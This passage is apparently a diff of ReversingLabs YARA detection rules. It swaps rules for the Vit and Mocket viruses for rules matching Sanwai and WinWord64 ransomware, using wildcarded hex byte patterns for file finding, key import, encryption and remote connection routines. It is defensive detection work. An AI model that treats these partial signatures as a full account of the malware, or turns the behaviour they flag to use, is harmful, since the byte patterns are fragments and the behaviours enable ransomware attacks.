+ ?? BE ?? ?? ?? ?? 48 01 F1 48 8B 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 01 FA FF D0 48 8B + 0D ?? ?? ?? ?? 48 01 F1 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 01 EA FF D2 48 + 8B 15 ?? ?? ?? ?? 48 01 F2 48 8B 8C 24 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B B6 ?? + ?? ?? ?? 48 01 EE 48 C7 44 24 ?? ?? ?? ?? ?? 41 89 C0 4C 8D 4C 24 ?? FF D6 BE ?? ?? + ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 41 BE ?? ?? + ?? ?? 48 01 EA FF D2 BF ?? ?? ?? ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? + 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF + E0 8B 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? + 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF + E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? + BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 + C1 C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? + ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? + ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 4C 01 F0 C7 44 24 ?? ?? ?? ?? ?? 48 8D + 54 24 ?? 4C 8D 84 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? FF D0 BF ?? ?? ?? ?? 8B 54 24 ?? B9 + ?? ?? ?? ?? 01 CA 8B 4C 24 ?? BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? + 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 C0 48 81 + C4 ?? ?? ?? ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 5F C3 } condition: - uint16( 0 ) == 0x5A4D and ( $awfull_body at pe.entry_point ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Linux_Virus_Vit : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Sanwai : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Vit virus." + description = "Yara rule that detects Sanwai ransomware." author = "ReversingLabs" - id = "4515fe43-4c5a-521d-82b7-273823f0c64e" - date = "2026-02-22" - date = "2026-02-22" - modified = "2023-06-07" + id = "01912621-4a34-5e34-8542-5b561e8da567" + date = "2021-11-11" + modified = "2021-11-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Linux.Virus.Vit.yara#L3-L36" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sanwai.yara#L1-L71" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2fba7a081dfca85aee5c7f3b33414b799ed52ca6aa5bbf031da040aaa75acde9" - score = 40 + logic_hash = "a7a95b2403fe539dce0d856cc1c04d15440677ea39c0a22e818b42333a64e92c" + score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" + tc_detection_type = "Ransomware" + tc_detection_name = "Sanwai" tc_detection_factor = 5 importance = 25 strings: - $vit_entry_point = { - 55 89 E5 81 EC 40 31 00 00 57 56 50 53 51 52 C7 85 D8 CE FF FF 00 00 00 00 C7 85 D4 - CE FF FF 00 00 00 00 C7 85 FC CF FF FF CA 08 00 00 C7 85 F8 CF FF FF B8 06 00 00 C7 - 85 F4 CF FF FF AD 08 00 00 C7 85 F0 CF FF FF 50 06 00 00 6A 00 6A 00 8B 45 08 50 E8 - 18 FA FF FF 89 C6 83 C4 0C 85 F6 0F 8C E6 01 00 00 6A 00 68 ?? ?? ?? ?? 56 E8 2E FA - FF FF 83 C4 0C 85 C0 0F 8C C4 01 00 00 8B 85 FC CF FF FF 50 8D 85 00 D0 FF FF 50 56 - E8 2A FA FF FF 89 C2 8B 85 FC CF FF FF 83 C4 0C 39 C2 0F 85 9D 01 00 00 56 E8 E1 F9 - FF FF BE FF FF FF FF 6A 00 6A 00 E9 - } - $vit_str = "vi324.tmp" + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D + ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84 + ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? + ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B + C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 + ?? ?? ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? + 85 C0 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 + 5F 5E 5B 8B E5 5D C3 83 F8 ?? 75 ?? 8B 4D ?? D1 E9 F6 C1 ?? B9 ?? ?? ?? ?? 0F 45 C1 + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 B8 ?? ?? ?? ?? 8B 4D ?? 64 89 + 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 + } + $import_key = { + 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 85 + C0 75 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 32 C0 5F 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? + 83 C4 ?? C3 8B 44 24 ?? FF 74 24 ?? 8B 08 8B 40 ?? 89 47 ?? 8D 44 24 ?? 50 57 6A ?? + 6A ?? 6A ?? FF 74 24 ?? 89 0F FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? + FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? B0 ?? 5F 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 + } + $encrypt_files = { + 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? + 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? + 1B C0 83 C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B + BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CF E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 8D 4D ?? 8B + 9D ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 83 CB ?? 83 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 43 4D ?? 83 + 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 01 3B + 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? 8A 41 ?? + 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? 1B C0 83 + C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B + CF 50 E8 ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 81 CB ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 5D ?? + 83 FB ?? 0F 43 CF 83 7D ?? ?? 0F 85 + } condition: - uint32( 0 ) == 0x464C457F and $vit_entry_point at elf.entry_point and $vit_str + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Win32_Virus_Mocket : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Winword64 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Mocket virus." + description = "Yara rule that detects WinWord64 ransomware." author = "ReversingLabs" - id = "878c2162-9a79-52e6-af7b-95f9667f9e78" - date = "2020-06-26" - modified = "2020-07-15" + id = "a5f7967d-58f4-5fdd-b67f-5f5dbfec0f4b" + date = "2021-02-11" + modified = "2021-02-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Mocket.yara#L3-L58" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WinWord64.yara#L1-L215" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "af16974396efe7a1a46aa39b812482dcc49d0fe95db6640c1703db479e7ea9dc" + logic_hash = "73d8c4f1b3bed365320b26332f1f1b49404d8e6536f3e25042f5f64e5bc09bd4" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Mocket" + tc_detection_type = "Ransomware" + tc_detection_name = "WinWord64" tc_detection_factor = 5 importance = 25 strings: - $mocket_body_1 = { - E8 00 00 00 00 5B 81 EB ?? ?? ?? ?? 8B 34 24 81 E6 00 00 FF FF E8 31 00 00 00 89 83 ?? ?? ?? ?? E8 4C 00 00 00 89 83 ?? - ?? ?? ?? E8 A2 00 00 00 E8 CD 00 00 00 E8 05 01 00 00 87 CB E3 0C B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 C3 66 81 3E 4D 5A - 75 0E 8B 7E 3C 03 FE 66 81 3F 50 45 75 02 96 C3 81 EE 00 00 01 00 81 FE 00 00 00 70 73 DD 33 C0 C3 8B 70 3C 03 F0 8B 76 - 78 03 F0 56 8B 76 20 03 F0 8B C6 33 D2 33 C9 8A 8B ?? ?? ?? ?? 8D BB ?? ?? ?? ?? 8B 34 02 03 B3 ?? ?? ?? ?? 83 C2 04 F3 - A6 75 E2 5E 8B C6 83 EA 04 D1 EA 8B 40 24 03 83 ?? ?? ?? ?? 33 C9 66 8B 0C 02 8B C6 8B 40 1C 03 83 ?? ?? ?? ?? C1 E1 02 - 8B 04 01 03 83 ?? ?? ?? ?? C3 8D BB ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 89 06 - 83 C6 04 B9 FF FF FF FF 32 C0 F2 AE 80 3F 90 75 DD C3 8D BB ?? ?? ?? ?? 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 - 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 C3 33 - C9 B1 03 8D BB ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? FF D0 E8 01 00 00 00 C3 C7 83 ?? ?? ?? ?? 00 00 00 00 8D 83 ?? ?? ?? ?? + $remote_connection_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? A1 ?? ?? ?? + ?? 33 DB 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? + 03 C1 89 9D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 + 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 89 5D ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? + ?? ?? ?? 53 0F 43 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? + 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 0D + ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 50 51 + 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 53 + FF 15 ?? ?? ?? ?? 8B 55 ?? 8B D8 89 9D ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 + ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? + 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 66 89 45 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 } - $mocket_body_2 = { - 50 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 40 0B C0 74 53 48 89 83 ?? ?? ?? ?? E8 48 00 00 00 FE 83 ?? ?? ?? ?? 80 - BB ?? ?? ?? ?? 0A 74 29 8D BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 32 C0 F3 AA 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? 50 8B 83 ?? - ?? ?? ?? FF D0 0B C0 75 C3 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 60 8D B3 ?? ?? ?? ?? 56 8B 83 ?? ?? ?? ?? FF - D0 89 83 ?? ?? ?? ?? 68 80 00 00 00 56 8B 83 ?? ?? ?? ?? FF D0 E8 B7 01 00 00 40 0B C0 0F 84 75 01 00 00 48 89 83 ?? ?? - ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 0F 84 4D 01 00 00 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 - 0F 84 26 01 00 00 89 83 ?? ?? ?? ?? 8B 70 3C 03 F0 66 81 3E 50 45 0F 85 F7 00 00 00 81 7E 4C 4B 43 4F 4D 0F 84 EA 00 00 - 00 8B 4E 3C 51 8B 46 28 89 83 ?? ?? ?? ?? 8B 46 34 89 83 ?? ?? ?? ?? FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? - ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 59 8B 83 ?? ?? ?? ?? 05 ?? ?? ?? ?? E8 5C 01 00 00 89 83 ?? ?? ?? ?? 91 E8 21 01 00 00 - 40 0B C0 0F 84 B9 00 00 00 48 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 1F 01 00 00 0B C0 0F 84 91 00 00 00 89 83 ?? ?? ?? + $remote_connection_p2 = { + 0F 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D BD ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 BD ?? ?? ?? ?? 83 + 3D ?? ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F + 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 57 53 FF 15 ?? ?? ?? + ?? 8B 55 ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? + 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 95 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? + ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? + FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D ?? 03 C1 83 7D ?? ?? 8D 4D + ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 8D 4D ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? + ?? ?? 83 3D ?? ?? ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B } - $mocket_body_3 = { - ?? 8B 70 3C 03 F0 8B FE 83 C6 78 8B 57 74 C1 E2 03 03 F2 0F B7 47 06 48 6B C0 28 03 F0 8B 56 10 8B CA 03 56 14 52 8B C1 - 03 46 0C 89 47 28 8B 46 10 05 ?? ?? ?? ?? 8B 4F 3C E8 EA 00 00 00 89 46 10 89 46 08 8B 46 10 03 46 0C 89 47 50 81 4E 24 - 20 00 00 A0 C7 47 4C 4B 43 4F 4D 8D B3 ?? ?? ?? ?? 5A 87 FA 03 BB ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 EB 0B 8B 8B ?? ?? ?? - ?? E8 41 00 00 00 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? - 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 61 C3 33 C0 50 50 51 FF B3 ?? ?? - ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 C0 50 50 6A 03 50 6A 01 68 00 00 00 C0 56 - 8B 83 ?? ?? ?? ?? FF D0 C3 6A 00 51 6A 00 6A 04 6A 00 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 51 6A 00 6A 00 6A - 02 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 D2 F7 F1 0B D2 74 01 40 F7 E1 C3 + $remote_connection_p3 = { + 55 ?? 2B C2 57 51 3B F8 77 ?? 8D 04 3A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 + 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 37 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 + ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 75 ?? 8B C6 + 8B BD ?? ?? ?? ?? 0F 43 CF 8B 55 ?? 2B C2 8B 9D ?? ?? ?? ?? 53 51 3B D8 77 ?? 8D 04 + 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 + 1E ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B BD + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 83 3D ?? ?? + ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 55 ?? 2B C2 53 51 + 3B D8 77 ?? 8D 04 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? + ?? 83 C4 ?? C6 04 33 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 + ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 45 ?? 0F 43 + D3 8B 75 ?? 2B C6 8B 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? + 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 06 ?? + EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 9D ?? ?? + ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B + } + $remote_connection_p4 = { + 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 + ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 + ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B D0 83 78 ?? ?? 72 ?? 8B 10 + 8B 48 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D + 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 + ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? + ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 83 3D + ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D + ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 + F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? + ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 + 55 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 + 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? + C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? + 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? + 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 31 89 45 ?? 8D + } + $remote_connection_p5 = { + 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB + ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 85 F6 74 ?? 8B 45 ?? 8D 4D ?? 83 7D ?? ?? 6A ?? 0F 43 4D ?? 50 50 51 6A ?? FF B5 + ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? + ?? ?? ?? 51 68 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 F6 8B 35 ?? + ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B + 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C6 45 ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? + 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 53 E8 